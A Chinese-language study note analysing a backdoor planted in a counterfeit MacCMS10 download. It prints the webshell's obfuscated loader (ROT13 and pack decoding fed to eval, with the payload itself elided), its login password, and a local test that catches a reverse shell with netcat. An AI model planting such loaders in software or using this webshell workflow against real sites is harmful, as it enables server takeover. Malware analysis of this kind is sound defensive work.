(本文僅爲平時學習記錄,如有錯誤請大佬指出,若是本文能幫到你那我也是很開心啦)php
該復現參考網絡中的文章,該漏洞復現僅僅是爲了學習交流,嚴禁非法使用!!!html
1、事件背景shell
Maccms網站:基於PHP+MYSQL環境下運行的完善而強大的快速建站系統,最近Tools上有人曝出有一個冒充了蘋果CMS官網的網站提供的MacCMS10存在後門,冒充網站http://www.maccmsv10.com/download.html瀏覽器
cms:內容管理系統網絡
2、漏洞分析函數
1.在冒充的「蘋果官網」下載MacCMS10版本後,打開源碼,找到maccms10.zip\extend\Qcloud\Sms\Sms.php、maccms10.zip\extend\upyun\src\Upyun\Api\Format.php學習
1 <?php 2 error_reporting(E_ERROR);//報錯 3 @ini_set('display_errors','Off');//作初始化環境 4 @ini_set('max_execution_time',20000); 5 @ini_set('memory_limit','256M'); 6 header("content-Type: text/html; charset=utf-8");//設置編碼 7 $password = "0d41c75e2ab34a3740834cdd7e066d90";//32位,MD5加密的密碼,解密後爲:WorldFilledWithLove 8 function s(){ 9 $str = "編碼以後的惡意代碼"; 10 $str = str_rot13($str);//對惡意代碼進行ROT13編碼 11 m($str); 12 } 13 function m($str){ 14 global $password;//全局變量 15 $jj = ''; 16 eval($jj.pack('H*',$str).$jj);//對混淆的PHP代碼進行解碼(使用的是pack函數),解碼以後的代碼進行eval函數的解析 17 } 18 s();//調用s函數 19 ?>
1 <?php 2 $str = "編碼以後的惡意代碼"; 3 $str = str_rot13($str); 4 echo pack('H*',$str);
2.將網站源碼移動到PhpStudy的Web根目錄下,打開PhpStudy,開啓Apache服務,使用密碼訪問測試
http://127.0.0.1/maccms10/extend/upyun/src/Upyun/Api/Format.php或http://127.0.0.1/maccms10/extend/Qcloud/Sms/Sms.php,能夠看到如下界面,使用解密以後的密碼WorldFilledWithLove進行登陸網站
3.由上圖能夠看到,這是個大馬,即有不少功能的木馬,如,執行SQL、執行命令、反彈端口等,對其中幾個功能進行測試編碼
4.測試反彈端口,使用Kali虛擬機做爲攻擊者,本地機做爲靶機
5.打開Kali,使用NC監聽後,點擊反彈
1 nc -lvvp 7777 開啓監聽端口7777 2 l 本地 3 vv 詳細信息 4 p 端口
6.使用NC監聽,不穩定,很容易關閉監聽,這時再次打開瀏覽器,就會發現報錯信息,這個就是error_reporting(E_ERROR);命令所報的錯誤